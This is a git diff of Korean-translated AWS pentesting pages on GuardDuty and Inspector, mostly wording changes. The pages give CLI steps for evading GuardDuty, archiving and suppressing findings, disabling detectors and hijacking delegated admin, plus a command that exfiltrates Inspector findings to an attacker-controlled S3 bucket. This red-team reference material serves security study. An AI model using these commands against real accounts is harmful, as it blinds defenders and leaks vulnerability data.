--- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md @@ -4,9 +4,9 @@ ## GuardDuty -According to the [**docs**](https://aws.amazon.com/guardduty/features/): GuardDuty는 **기계 학습, 이상 탐지, 네트워크 모니터링 및 악성 파일 발견**을 결합하여 AWS 및 업계 최고의 제3자 소스를 사용하여 AWS의 워크로드와 데이터를 보호하는 데 도움을 줍니다. GuardDuty는 AWS CloudTrail 이벤트 로그, Amazon Virtual Private Cloud (VPC) 흐름 로그, Amazon Elastic Kubernetes Service (EKS) 감사 및 시스템 수준 로그, DNS 쿼리 로그와 같은 여러 AWS 데이터 소스에서 수백억 개의 이벤트를 분석할 수 있습니다. +According to the [**docs**](https://aws.amazon.com/guardduty/features/): GuardDuty는 **기계 학습, 이상 탐지, 네트워크 모니터링 및 악성 파일 발견**을 결합하여 AWS 및 업계 최고의 제3자 소스를 사용하여 AWS의 워크로드와 데이터를 보호하는 데 도움을 줍니다. GuardDuty는 AWS CloudTrail 이벤트 로그, Amazon Virtual Private Cloud (VPC) 흐름 로그, Amazon Elastic Kubernetes Service (EKS) 감사 및 시스템 수준 로그, DNS 쿼리 로그와 같은 여러 AWS 데이터 소스에서 수십억 개의 이벤트를 분석할 수 있습니다. -Amazon GuardDuty는 **계정 내의 비정상적인 활동을 식별**하고, 활동의 **보안 관련성**을 분석하며, 그것이 발생한 **맥락**을 제공합니다. 이를 통해 응답자는 추가 조사를 위해 시간을 할애해야 할지를 결정할 수 있습니다. +Amazon GuardDuty는 **계정 내의 비정상적인 활동을 식별**하고, 활동의 **보안 관련성**을 분석하며, 그것이 호출된 **맥락**을 제공합니다. 이를 통해 응답자는 추가 조사를 위해 시간을 할애해야 하는지 결정할 수 있습니다. 알림은 **GuardDuty 콘솔(90일)** 및 CloudWatch Events에 나타납니다. @@ -16,10 +16,10 @@ Amazon GuardDuty는 **계정 내의 비정상적인 활동을 식별**하고, ### Findings Example -- **정찰**: 공격자의 정찰을 시사하는 활동, 예를 들어 **비정상적인 API 활동**, 의심스러운 데이터베이스 **로그인** 시도, intra-VPC **포트 스캐닝**, 비정상적인 실패한 로그인 요청 패턴, 또는 알려진 나쁜 IP에서의 차단되지 않은 포트 프로빙. -- **인스턴스 손상**: 인스턴스 손상을 나타내는 활동, 예를 들어 **암호화폐 채굴, 백도어 명령 및 제어(C\&C)** 활동, 도메인 생성 알고리즘(DGA)을 사용하는 악성 소프트웨어, 아웃바운드 서비스 거부 활동, 비정상적으로 **높은 네트워크** 트래픽 양, 비정상적인 네트워크 프로토콜, 알려진 악성 IP와의 아웃바운드 인스턴스 통신, 외부 IP 주소에 의해 사용된 임시 Amazon EC2 자격 증명, 및 DNS를 통한 데이터 유출. -- **계정 손상**: 계정 손상을 나타내는 일반적인 패턴에는 비정상적인 지리적 위치 또는 익명화 프록시에서의 API 호출, AWS CloudTrail 로깅 비활성화 시도, 계정 비밀번호 정책을 약화시키는 변경, 비정상적인 인스턴스 또는 인프라 출시, 비정상적인 지역에서의 인프라 배포, 자격 증명 도난, 의심스러운 데이터베이스 로그인 활동, 및 알려진 악성 IP 주소에서의 API 호출이 포함됩니다. -- **버킷 손상**: 자격 증명 남용을 나타내는 의심스러운 데이터 접근 패턴, 원격 호스트에서의 비정상적인 Amazon S3 API 활동, 알려진 악성 IP 주소에서의 무단 S3 접근, 및 이전에 버킷에 접근한 이력이 없는 사용자로부터 S3 버킷의 데이터를 검색하기 위한 API 호출 또는 비정상적인 위치에서 호출된 경우와 같은 버킷 손상을 나타내는 활동. Amazon GuardDuty는 모든 Amazon S3 버킷에서 의심스러운 활동을 탐지하기 위해 AWS CloudTrail S3 데이터 이벤트(예: GetObject, ListObjects, DeleteObject)를 지속적으로 모니터링하고 분석합니다. +- **Reconnaissance**: 공격자가 수행하는 정찰을 나타내는 활동으로, **비정상적인 API 활동**, 의심스러운 데이터베이스 **로그인** 시도, intra-VPC **포트 스캐닝**, 비정상적인 실패한 로그인 요청 패턴 또는 알려진 나쁜 IP에서의 차단되지 않은 포트 프로빙 등이 포함됩니다. +- **Instance compromise**: **암호화폐 채굴, 백도어 명령 및 제어(C\&C)** 활동, 도메인 생성 알고리즘(DGA)을 사용하는 악성 소프트웨어, 아웃바운드 서비스 거부 활동, 비정상적으로 **높은 네트워크** 트래픽 볼륨, 비정상적인 네트워크 프로토콜, 알려진 악성 IP와의 아웃바운드 인스턴스 통신, 외부 IP 주소에 의해 사용된 임시 Amazon EC2 자격 증명, DNS를 통한 데이터 유출 등을 나타내는 활동입니다. +- **Account compromise**: 계정 손상을 나타내는 일반적인 패턴에는 비정상적인 지리적 위치 또는 익명화 프록시에서의 API 호출, AWS CloudTrail 로깅 비활성화 시도, 계정 비밀번호 정책을 약화시키는 변경, 비정상적인 인스턴스 또는 인프라 출시, 비정상적인 지역에서의 인프라 배포, 자격 증명 도용, 의심스러운 데이터베이스 로그인 활동, 알려진 악성 IP 주소에서의 API 호출 등이 포함됩니다. +- **Bucket compromise**: 자격 증명 남용을 나타내는 의심스러운 데이터 접근 패턴, 원격 호스트에서의 비정상적인 Amazon S3 API 활동, 알려진 악성 IP 주소에서의 무단 S3 접근, 이전에 버킷에 접근한 이력이 없는 사용자로부터 S3 버킷의 데이터를 검색하기 위한 API 호출 또는 비정상적인 위치에서 호출된 경우를 포함하여 버킷 손상을 나타내는 활동입니다. Amazon GuardDuty는 모든 Amazon S3 버킷에서 의심스러운 활동을 탐지하기 위해 AWS CloudTrail S3 데이터 이벤트(예: GetObject, ListObjects, DeleteObject)를 지속적으로 모니터링하고 분석합니다.
@@ -52,13 +52,13 @@ Access a list of all the GuardDuty findings in: [https://docs.aws.amazon.com/gua #### By Invitation -You can **invite other accounts** to a different AWS GuardDuty account so **every account is monitored from the same GuardDuty**. 마스터 계정이 멤버 계정을 초대해야 하며, 그 후 멤버 계정의 대표가 초대를 수락해야 합니다. +다른 AWS GuardDuty 계정에 **다른 계정을 초대**하여 **모든 계정이 동일한 GuardDuty에서 모니터링**되도록 할 수 있습니다. 마스터 계정이 멤버 계정을 초대해야 하며, 멤버 계정의 대표가 초대를 수락해야 합니다. #### Via Organization -You can designate any account within the organization to be the **GuardDuty delegated administrator**. 오직 조직 관리 계정만이 위임된 관리자를 지정할 수 있습니다. +조직 내의 어떤 계정이든 **GuardDuty 위임 관리자**로 지정할 수 있습니다. 오직 조직 관리 계정만이 위임 관리자를 지정할 수 있습니다. -위임된 관리자로 지정된 계정은 GuardDuty 관리자 계정이 되며, 지정된 AWS 리전에서 GuardDuty가 자동으로 활성화되고, 또한 해당 리전 내의 모든 계정에 대해 GuardDuty를 활성화하고 관리할 **권한**을 가집니다. 조직 내의 다른 계정은 이 위임된 관리자 계정과 연결된 GuardDuty 멤버 계정으로 조회 및 추가할 수 있습니다. +위임 관리자 계정으로 지정된 계정은 GuardDuty 관리자 계정이 되며, 지정된 AWS 리전에서 GuardDuty가 자동으로 활성화되고, 해당 리전 내의 모든 계정에 대해 GuardDuty를 활성화하고 관리할 **권한**을 갖습니다. 조직 내의 다른 계정은 이 위임 관리자 계정과 연결된 GuardDuty 멤버 계정으로 조회하고 추가할 수 있습니다. ## Enumeration ```bash @@ -102,21 +102,21 @@ aws guardduty get-threat-intel-set --detector-id --threat-intel-set-id ``` ## GuardDuty 우회 -### 일반 안내 +### 일반 지침 사용할 자격 증명의 행동에 대해 가능한 한 많은 정보를 찾아보세요: -- 사용된 시간 +- 사용 시간 - 위치 - 사용자 에이전트 / 서비스 (awscli, 웹 콘솔, lambda 등에서 사용될 수 있음) - 정기적으로 사용되는 권한 이 정보를 바탕으로 접근을 사용하기 위해 가능한 한 동일한 시나리오를 재현하세요: -- **사용자 또는 사용자가 접근하는 역할**인 경우, 동일한 시간에 동일한 지리적 위치에서 (가능하다면 동일한 ISP와 IP로) 사용해 보세요. -- **서비스에 의해 사용되는 역할**인 경우, 동일한 지역에 동일한 서비스를 생성하고 그곳에서 동일한 시간대에 사용하세요. +- **사용자에 의해 접근된 사용자 또는 역할**인 경우, 동일한 시간에 동일한 지리적 위치(가능하다면 동일한 ISP와 IP)에서 사용해 보세요. +- **서비스에 의해 사용되는 역할**인 경우, 동일한 지역에 동일한 서비스를 생성하고 동일한 시간대에서 사용하세요. - 항상 이 주체가 사용한 **동일한 권한**을 사용하려고 하세요. -- **다른 권한을 사용하거나 권한을 남용해야 하는 경우** (예: 1,000,000개의 cloudtrail 로그 파일 다운로드), **천천히** 그리고 AWS와의 **최소한의 상호작용**으로 진행하세요 (awscli는 때때로 쓰기 전에 여러 읽기 API를 호출합니다). +- **다른 권한을 사용하거나 권한을 남용해야 하는 경우**(예: 1,000,000개의 cloudtrail 로그 파일 다운로드), **천천히** 진행하고 AWS와의 **최소한의 상호작용**으로 수행하세요 (awscli는 때때로 쓰기 전에 여러 읽기 API를 호출합니다). ### GuardDuty 무력화 @@ -129,7 +129,7 @@ aws guardduty update-detector --detector-id --data-sources S3Logs= ``` #### `guardduty:CreateFilter` -이 권한을 가진 공격자는 **발견 사항의 자동** 아카이빙을 위한 필터를 **사용할** 수 있습니다: +이 권한을 가진 공격자는 **발견 사항의 자동** 아카이빙을 위한 필터를 **사용할 수 있는** 능력을 가지고 있습니다: ```bash aws guardduty create-filter --detector-id --name --finding-criteria file:///tmp/criteria.json --action ARCHIVE ``` @@ -146,11 +146,11 @@ aws guardduty update-ip-set --detector-id --activate --ip-set-id < aws guardduty delete-publishing-destination --detector-id --destination-id ``` > [!CAUTION] -> 이 게시 목적지를 삭제해도 **GuardDuty 콘솔 내에서 발견 사항의 생성이나 가시성에 영향을 미치지 않습니다**. GuardDuty는 AWS 환경 내에서 이벤트를 계속 분석하고, 의심스러운 또는 예상치 못한 행동을 식별하며, 발견 사항을 생성합니다. +> 이 게시 목적지를 삭제해도 **GuardDuty 콘솔 내에서 발견 사항의 생성이나 가시성에 영향을 미치지 않습니다**. GuardDuty는 AWS 환경 내에서 이벤트를 계속 분석하고, 의심스럽거나 예상치 못한 행동을 식별하며, 발견 사항을 생성합니다. ### 특정 발견 우회 예시 -수십 가지의 GuardDuty 발견 사항이 있지만, **Red Teamer로서 모든 것이 당신에게 영향을 미치지는 않습니다**, 그리고 더 좋은 점은, **각 발견 사항에 대한 전체 문서가** [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html) 에 있으니, 행동을 취하기 전에 확인하여 걸리지 않도록 하세요. +수십 가지의 GuardDuty 발견 사항이 있지만, **Red Teamer로서 모든 것이 당신에게 영향을 미치지는 않습니다**, 그리고 더 좋은 점은, **각 발견 사항에 대한 전체 문서가 있습니다** [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html) 그러니 행동을 취하기 전에 확인하여 걸리지 않도록 하세요. 여기 특정 GuardDuty 발견 사항 우회의 몇 가지 예가 있습니다: @@ -160,14 +160,14 @@ GuardDuty는 일반적인 침투 테스트 도구로부터의 AWS API 요청을 이는 API 요청에 전달된 **사용자 에이전트 이름**에 의해 감지됩니다.\ 따라서, **사용자 에이전트를 수정하면** GuardDuty가 공격을 감지하지 못하도록 할 수 있습니다. -이를 방지하기 위해 `botocore` 패키지의 `session.py` 스크립트를 검색하여 사용자 에이전트를 수정하거나, Burp Suite를 AWS CLI 프록시로 설정하고 MitM으로 사용자 에이전트를 변경하거나, Ubuntu, Mac 또는 Windows와 같은 OS를 사용하면 이 경고가 발생하지 않도록 할 수 있습니다. +이를 방지하기 위해 `botocore` 패키지의 `session.py` 스크립트에서 사용자 에이전트를 수정하거나, Burp Suite를 AWS CLI 프록시로 설정하고 MitM을 사용하여 사용자 에이전트를 변경하거나, Ubuntu, Mac 또는 Windows와 같은 OS를 사용하면 이 경고가 발생하지 않도록 할 수 있습니다. #### UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration -메타데이터 서비스에서 EC2 자격 증명을 추출하고 **AWS 환경 외부에서 활용하면** [**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationoutsideaws) 경고가 활성화됩니다. 반대로, EC2 인스턴스에서 이러한 자격 증명을 사용하면 [**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.InsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationinsideaws) 경고가 트리거됩니다. 그러나, **같은 계정 내의 다른 손상된 EC2 인스턴스에서 자격 증명을 사용하는 것은 감지되지 않으며**, 경고가 발생하지 않습니다. +메타데이터 서비스에서 EC2 자격 증명을 추출하고 **AWS 환경 외부에서 활용하면** [**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationoutsideaws) 경고가 활성화됩니다. 반대로, EC2 인스턴스에서 이러한 자격 증명을 사용하면 [**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.InsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationinsideaws) 경고가 발생합니다. 그러나 **같은 계정 내의 다른 손상된 EC2 인스턴스에서 자격 증명을 사용하면 감지되지 않으며**, 경고가 발생하지 않습니다. > [!TIP] -> 따라서, **발견한 기계 내부에서 유출된 자격 증명을 사용하여 이 경고를 트리거하지 않도록 하세요**. +> 따라서, **발견한 기계 내부에서 유출된 자격 증명을 사용하여 이 경고를 발생시키지 않도록 하세요.** ## References diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md index 9770b4079..538c836fc 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md @@ -6,7 +6,7 @@ ### Inspector -Amazon Inspector는 AWS 환경의 보안을 강화하기 위해 설계된 고급 자동화 취약점 관리 서비스입니다. 이 서비스는 Amazon EC2 인스턴스, Amazon ECR의 컨테이너 이미지, Amazon ECS 및 AWS Lambda 함수의 취약점과 의도하지 않은 네트워크 노출을 지속적으로 스캔합니다. 강력한 취약점 정보 데이터베이스를 활용하여 Amazon Inspector는 심각도 수준 및 수정 권장 사항을 포함한 상세한 결과를 제공하여 조직이 보안 위험을 사전적으로 식별하고 해결할 수 있도록 돕습니다. 이 포괄적인 접근 방식은 다양한 AWS 서비스 전반에 걸쳐 강화된 보안 태세를 보장하며, 규정 준수 및 위험 관리에 기여합니다. +Amazon Inspector는 AWS 환경의 보안을 강화하기 위해 설계된 고급 자동화 취약점 관리 서비스입니다. 이 서비스는 Amazon EC2 인스턴스, Amazon ECR의 컨테이너 이미지, Amazon ECS 및 AWS Lambda 함수의 취약점과 의도하지 않은 네트워크 노출을 지속적으로 스캔합니다. 강력한 취약점 인텔리전스 데이터베이스를 활용하여 Amazon Inspector는 심각도 수준 및 수정 권장 사항을 포함한 상세한 결과를 제공하여 조직이 보안 위험을 사전에 식별하고 해결할 수 있도록 돕습니다. 이러한 포괄적인 접근 방식은 다양한 AWS 서비스 전반에 걸쳐 강화된 보안 태세를 보장하며, 규정 준수 및 위험 관리에 기여합니다. ### Key elements @@ -20,25 +20,25 @@ Amazon Inspector의 Findings는 EC2 인스턴스, ECR 리포지토리 또는 Lam Findings는 다음 세 가지 유형으로도 분류됩니다: -- **Package**: 이 Findings는 리소스에 설치된 소프트웨어 패키지의 취약점과 관련이 있습니다. 예를 들어, 알려진 보안 문제가 있는 오래된 라이브러리나 종속성이 포함됩니다. -- **Code**: 이 범주는 AWS 리소스에서 실행되는 애플리케이션의 코드에서 발견된 취약점을 포함합니다. 일반적인 문제는 보안 위반으로 이어질 수 있는 코딩 오류 또는 안전하지 않은 관행입니다. -- **Network**: Network Findings는 공격자가 악용할 수 있는 네트워크 구성의 잠재적 노출을 식별합니다. 여기에는 열린 포트, 안전하지 않은 네트워크 프로토콜 및 잘못 구성된 보안 그룹이 포함됩니다. +- **Package**: 이러한 Findings는 리소스에 설치된 소프트웨어 패키지의 취약점과 관련이 있습니다. 예를 들어, 알려진 보안 문제가 있는 오래된 라이브러리나 종속성이 포함됩니다. +- **Code**: 이 범주에는 AWS 리소스에서 실행되는 애플리케이션 코드에서 발견된 취약점이 포함됩니다. 일반적인 문제는 보안 위반으로 이어질 수 있는 코딩 오류나 불안전한 관행입니다. +- **Network**: 네트워크 Findings는 공격자가 악용할 수 있는 네트워크 구성의 잠재적 노출을 식별합니다. 여기에는 열린 포트, 불안전한 네트워크 프로토콜 및 잘못 구성된 보안 그룹이 포함됩니다. #### Filters and Suppression Rules -Amazon Inspector의 필터 및 suppression rules는 Findings를 관리하고 우선 순위를 지정하는 데 도움을 줍니다. 필터를 사용하면 심각도 또는 리소스 유형과 같은 특정 기준에 따라 Findings를 세분화할 수 있습니다. Suppression rules는 낮은 위험으로 간주되거나 이미 완화된 특정 Findings를 억제할 수 있게 하여 보안 보고서의 과부하를 방지하고 더 중요한 문제에 집중할 수 있도록 합니다. +Amazon Inspector의 필터 및 suppression rules는 Findings를 관리하고 우선 순위를 지정하는 데 도움을 줍니다. 필터를 사용하면 심각도나 리소스 유형과 같은 특정 기준에 따라 Findings를 세분화할 수 있습니다. Suppression rules는 낮은 위험으로 간주되거나 이미 완화된 특정 Findings를 억제할 수 있게 하여 보안 보고서의 과부하를 방지하고 더 중요한 문제에 집중할 수 있도록 합니다. #### Software Bill of Materials (SBOM) -Amazon Inspector의 Software Bill of Materials (SBOM)는 소프트웨어 패키지 내의 모든 구성 요소, 라이브러리 및 종속성을 자세히 설명하는 내보낼 수 있는 중첩 인벤토리 목록입니다. SBOM은 소프트웨어 공급망에 대한 투명성을 제공하여 더 나은 취약점 관리 및 규정 준수를 가능하게 합니다. 이는 오픈 소스 및 타사 소프트웨어 구성 요소와 관련된 위험을 식별하고 완화하는 데 중요합니다. +Amazon Inspector의 Software Bill of Materials (SBOM)는 소프트웨어 패키지 내의 모든 구성 요소를 자세히 설명하는 내보낼 수 있는 중첩 인벤토리 목록입니다. SBOM은 소프트웨어 공급망에 대한 투명성을 제공하여 더 나은 취약점 관리 및 규정 준수를 가능하게 합니다. 이는 오픈 소스 및 타사 소프트웨어 구성 요소와 관련된 위험을 식별하고 완화하는 데 중요합니다. ### Key features #### Export findings -Amazon Inspector는 Findings를 Amazon S3 Buckets, Amazon EventBridge 및 AWS Security Hub로 내보낼 수 있는 기능을 제공하여 식별된 취약점 및 노출에 대한 상세 보고서를 생성하고 특정 날짜와 시간에 추가 분석 또는 공유할 수 있도록 합니다. 이 기능은 CSV 및 JSON과 같은 다양한 출력 형식을 지원하여 다른 도구 및 시스템과의 통합을 용이하게 합니다. 내보내기 기능은 보고서에 포함된 데이터의 사용자 지정을 허용하여 심각도, 리소스 유형 또는 날짜 범위와 같은 특정 기준에 따라 Findings를 필터링하고 기본적으로 현재 AWS 리전의 모든 Active 상태의 Findings를 포함합니다. +Amazon Inspector는 Findings를 Amazon S3 Buckets, Amazon EventBridge 및 AWS Security Hub로 내보낼 수 있는 기능을 제공하여 특정 날짜와 시간에 식별된 취약점 및 노출에 대한 상세 보고서를 생성할 수 있습니다. 이 기능은 CSV 및 JSON과 같은 다양한 출력 형식을 지원하여 다른 도구 및 시스템과의 통합을 용이하게 합니다. 내보내기 기능은 보고서에 포함된 데이터의 사용자 지정을 허용하여 심각도, 리소스 유형 또는 날짜 범위와 같은 특정 기준에 따라 Findings를 필터링하고 기본적으로 현재 AWS 리전의 모든 Active 상태의 Findings를 포함합니다. -Findings를 내보낼 때 데이터 내보내기 중 암호화를 위해 Key Management Service (KMS) 키가 필요합니다. KMS 키는 내보낸 Findings가 무단 액세스로부터 보호되도록 하여 민감한 취약점 정보에 대한 추가 보안 계층을 제공합니다. +Findings를 내보낼 때 데이터 암호화를 위해 Key Management Service (KMS) 키가 필요합니다. KMS 키는 내보낸 Findings가 무단 액세스로부터 보호되도록 하여 민감한 취약점 정보에 대한 추가 보안 계층을 제공합니다. #### Amazon EC2 instances scanning @@ -50,7 +50,7 @@ Amazon Inspector는 Amazon EC2 인스턴스에 대한 강력한 스캔 기능을 스캔 모드는 EC2 스캔을 수행하는 데 사용할 방법을 결정합니다: - **Agent-Based**: EC2 인스턴스에 SSM 에이전트를 설치하여 심층 검사를 수행합니다. -- **Hybrid Scanning**: 최대 범위를 확보하고 성능 영향을 최소화하기 위해 agent-based 및 agentless 방법을 결합합니다. SSM 에이전트가 설치된 EC2 인스턴스에서는 Inspector가 agent-based 스캔을 수행하고, SSM 에이전트가 없는 인스턴스에서는 agentless 스캔이 수행됩니다. +- **Hybrid Scanning**: 에이전트 기반 및 에이전트 없는 방법을 결합하여 범위를 극대화하고 성능 영향을 최소화합니다. SSM 에이전트가 설치된 EC2 인스턴스에서는 Inspector가 에이전트 기반 스캔을 수행하고, SSM 에이전트가 없는 경우에는 에이전트 없는 스캔이 수행됩니다. 또 다른 중요한 기능은 EC2 Linux 인스턴스에 대한 **deep inspection**입니다. 이 기능은 EC2 Linux 인스턴스의 소프트웨어 및 구성을 철저히 분석하여 운영 체제 취약점, 애플리케이션 취약점 및 잘못된 구성 등을 포함한 상세한 취약점 평가를 제공하여 포괄적인 보안 평가를 보장합니다. 이는 **custom paths** 및 모든 하위 디렉터리를 검사하여 달성됩니다. 기본적으로 Amazon Inspector는 다음을 스캔하지만, 각 회원 계정은 최대 5개의 추가 사용자 정의 경로를 정의할 수 있으며, 각 위임된 관리자는 최대 10개를 정의할 수 있습니다: @@ -75,11 +75,11 @@ Amazon Inspector는 AWS Lambda 함수 및 그 레이어에 대한 포괄적인 #### **Center for Internet Security (CIS) scans** -Amazon Inspector는 Amazon EC2 인스턴스 운영 체제를 Center for Internet Security (CIS)의 모범 사례 권장 사항과 비교하기 위해 CIS 스캔을 포함합니다. 이러한 스캔은 구성이 업계 표준 보안 기준을 준수하는지 확인합니다. +Amazon Inspector는 Amazon EC2 인스턴스 운영 체제를 Center for Internet Security (CIS)의 모범 사례 권장 사항과 비교하기 위해 CIS 스캔을 포함합니다. 이러한 스캔은 구성이 산업 표준 보안 기준을 준수하는지 확인합니다. - **Configuration**: CIS 스캔은 시스템 구성이 특정 CIS Benchmark 권장 사항을 충족하는지 평가하며, 각 검사는 CIS 체크 ID 및 제목에 연결됩니다. - **Execution**: 스캔은 인스턴스 태그 및 정의된 일정에 따라 수행되거나 예약됩니다. -- **Results**: 스캔 후 결과는 어떤 체크가 통과, 건너뛰기 또는 실패했는지를 나타내어 각 인스턴스의 보안 태세에 대한 통찰력을 제공합니다. +- **Results**: 스캔 후 결과는 어떤 체크가 통과, 건너뛰기 또는 실패했는지 나타내어 각 인스턴스의 보안 태세에 대한 통찰력을 제공합니다. ### Enumeration ```bash @@ -182,7 +182,7 @@ aws inspector list-exclusions --assessment-run-arn ## Rule packages aws inspector list-rules-packages ``` -### Post Exploitation +### 포스트 익스플로이테이션 > [!TIP] > 공격자의 관점에서 이 서비스는 공격자가 다른 인스턴스/컨테이너를 손상시키는 데 도움이 될 수 있는 취약점과 네트워크 노출을 찾는 데 도움을 줄 수 있습니다. @@ -198,6 +198,8 @@ aws inspector2 create-findings-report --report-format --s3-destinat # SBOM report aws inspector2 create-sbom-report --report-format --s3-destination [--resource-filter-criteria ] ``` +다음 예제는 공격자가 제어하는 Amazon S3 버킷과 공격자가 제어하는 Amazon KMS 키로부터 Amazon Inspector의 모든 활성 발견 사항을 유출하는 방법을 보여줍니다: + 1. **Amazon S3 버킷 생성** 및 피해자 Amazon Inspector에서 접근할 수 있도록 정책을 연결합니다: ```json { @@ -259,22 +261,22 @@ aws inspector2 create-sbom-report --report-format --s ```bash aws --region us-east-1 inspector2 create-findings-report --report-format CSV --s3-destination bucketName=,keyPrefix=exfiltration_,kmsKeyArn=arn:aws:kms:us-east-1:123456789012:key/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f ``` -- **Potential Impact**: 상세한 취약점 및 소프트웨어 보고서의 생성 및 유출, 특정 취약점 및 보안 약점에 대한 통찰력 획득. +- **잠재적 영향**: 상세한 취약점 및 소프트웨어 보고서의 생성 및 유출, 특정 취약점 및 보안 약점에 대한 통찰력 획득. #### `inspector2:CancelFindingsReport`, `inspector2:CancelSbomExport` -공격자는 지정된 발견 보고서 또는 SBOM 보고서의 생성을 취소하여 보안 팀이 취약점 및 소프트웨어 자재 명세서(SBOM)에 대한 적시 정보를 받지 못하게 하여 보안 문제의 탐지 및 수정이 지연되도록 할 수 있습니다. +공격자는 지정된 발견 보고서 또는 SBOM 보고서의 생성을 취소하여 보안 팀이 취약점 및 소프트웨어 자재 명세서(SBOM)에 대한 적시 정보를 받지 못하게 하여 보안 문제의 탐지 및 수정이 지연될 수 있습니다. ```bash # Cancel findings report generation aws inspector2 cancel-findings-report --report-id # Cancel SBOM report generatiom aws inspector2 cancel-sbom-export --report-id ``` -- **Potential Impact**: 보안 모니터링의 중단 및 보안 문제의 적시 탐지 및 수정 방지. +- **잠재적 영향**: 보안 모니터링의 중단 및 보안 문제의 적시 탐지 및 수정 방지. #### `inspector2:CreateFilter`, `inspector2:UpdateFilter`, `inspector2:DeleteFilter` -이 권한을 가진 공격자는 어떤 취약점과 보안 문제가 보고되거나 억제되는지를 결정하는 필터링 규칙을 조작할 수 있습니다(만약 **action**이 SUPPRESS로 설정되면, 억제 규칙이 생성됩니다). 이는 보안 관리자에게 중요한 취약점을 숨겨, 탐지 없이 이러한 약점을 악용하기 쉽게 만듭니다. 중요한 필터를 변경하거나 제거함으로써, 공격자는 관련 없는 결과로 시스템을 과부하 시켜 효과적인 보안 모니터링 및 대응을 방해할 수 있습니다. +이 권한을 가진 공격자는 어떤 취약점과 보안 문제가 보고되거나 억제되는지를 결정하는 필터링 규칙을 조작할 수 있습니다(만약 **action**이 SUPPRESS로 설정되면 억제 규칙이 생성됩니다). 이는 보안 관리자에게 중요한 취약점을 숨겨 이러한 약점을 탐지되지 않고 쉽게 악용할 수 있게 만듭니다. 중요한 필터를 변경하거나 제거함으로써 공격자는 관련 없는 결과로 시스템을 범람시켜 효과적인 보안 모니터링 및 대응을 방해할 수 있습니다. ```bash # Create aws inspector2 create-filter --action --filter-criteria --name [--reason ] @@ -287,26 +289,26 @@ aws inspector2 delete-filter --arn #### `inspector2:DisableDelegatedAdminAccount`, (`inspector2:EnableDelegatedAdminAccount` & `organizations:ListDelegatedAdministrators` & `organizations:EnableAWSServiceAccess` & `iam:CreateServiceLinkedRole`) -공격자는 보안 관리 구조를 심각하게 방해할 수 있습니다. +공격자는 보안 관리 구조를 크게 방해할 수 있습니다. - 위임된 관리자 계정을 비활성화하면, 공격자는 보안 팀이 Amazon Inspector 설정 및 보고서에 접근하고 관리하는 것을 방지할 수 있습니다. -- 무단 관리자 계정을 활성화하면 공격자가 보안 구성을 제어할 수 있으며, 스캔을 비활성화하거나 설정을 수정하여 악의적인 활동을 숨길 수 있습니다. +- 무단 관리자 계정을 활성화하면 공격자는 보안 구성을 제어할 수 있으며, 스캔을 비활성화하거나 설정을 수정하여 악의적인 활동을 숨길 수 있습니다. > [!WARNING] > 무단 계정이 위임된 관리자가 되기 위해서는 피해자와 동일한 조직에 있어야 합니다. > -> 무단 계정이 위임된 관리자가 되기 위해서는, 합법적인 위임된 관리자가 비활성화된 후, 무단 계정이 위임된 관리자로 활성화되기 전에, 합법적인 관리자가 조직에서 위임된 관리자에서 등록 해제되어야 합니다. 이는 다음 명령어로 수행할 수 있습니다 (**`organizations:DeregisterDelegatedAdministrator`** 권한 필요): **`aws organizations deregister-delegated-administrator --account-id --service-principal [inspector2.amazonaws.com](http://inspector2.amazonaws.com/)`** +> 무단 계정이 위임된 관리자가 되기 위해서는, 합법적인 위임된 관리자가 비활성화된 후, 무단 계정이 위임된 관리자로 활성화되기 전에 합법적인 관리자가 조직에서 위임된 관리자에서 등록 해제되어야 합니다. 이는 다음 명령어로 수행할 수 있습니다 (**`organizations:DeregisterDelegatedAdministrator`** 권한 필요): **`aws organizations deregister-delegated-administrator --account-id --service-principal [inspector2.amazonaws.com](http://inspector2.amazonaws.com/)`** ```bash # Disable aws inspector2 disable-delegated-admin-account --delegated-admin-account-id # Enable aws inspector2 enable-delegated-admin-account --delegated-admin-account-id ``` -- **Potential Impact**: 보안 관리의 중단. +- **잠재적 영향**: 보안 관리의 중단. #### `inspector2:AssociateMember`, `inspector2:DisassociateMember` -공격자는 Amazon Inspector 조직 내에서 회원 계정의 연관성을 조작할 수 있습니다. 무단 계정을 연관시키거나 정당한 계정을 분리함으로써, 공격자는 보안 스캔 및 보고서에 포함되는 계정을 제어할 수 있습니다. 이로 인해 중요한 계정이 보안 모니터링에서 제외되어, 공격자가 해당 계정의 취약점을 탐지되지 않고 악용할 수 있습니다. +공격자는 Amazon Inspector 조직 내에서 회원 계정의 연관성을 조작할 수 있습니다. 무단 계정을 연관시키거나 정당한 계정을 분리함으로써, 공격자는 보안 스캔 및 보고서에 포함되는 계정을 제어할 수 있습니다. 이로 인해 중요한 계정이 보안 모니터링에서 제외될 수 있으며, 공격자는 이러한 계정의 취약점을 탐지되지 않고 악용할 수 있습니다. > 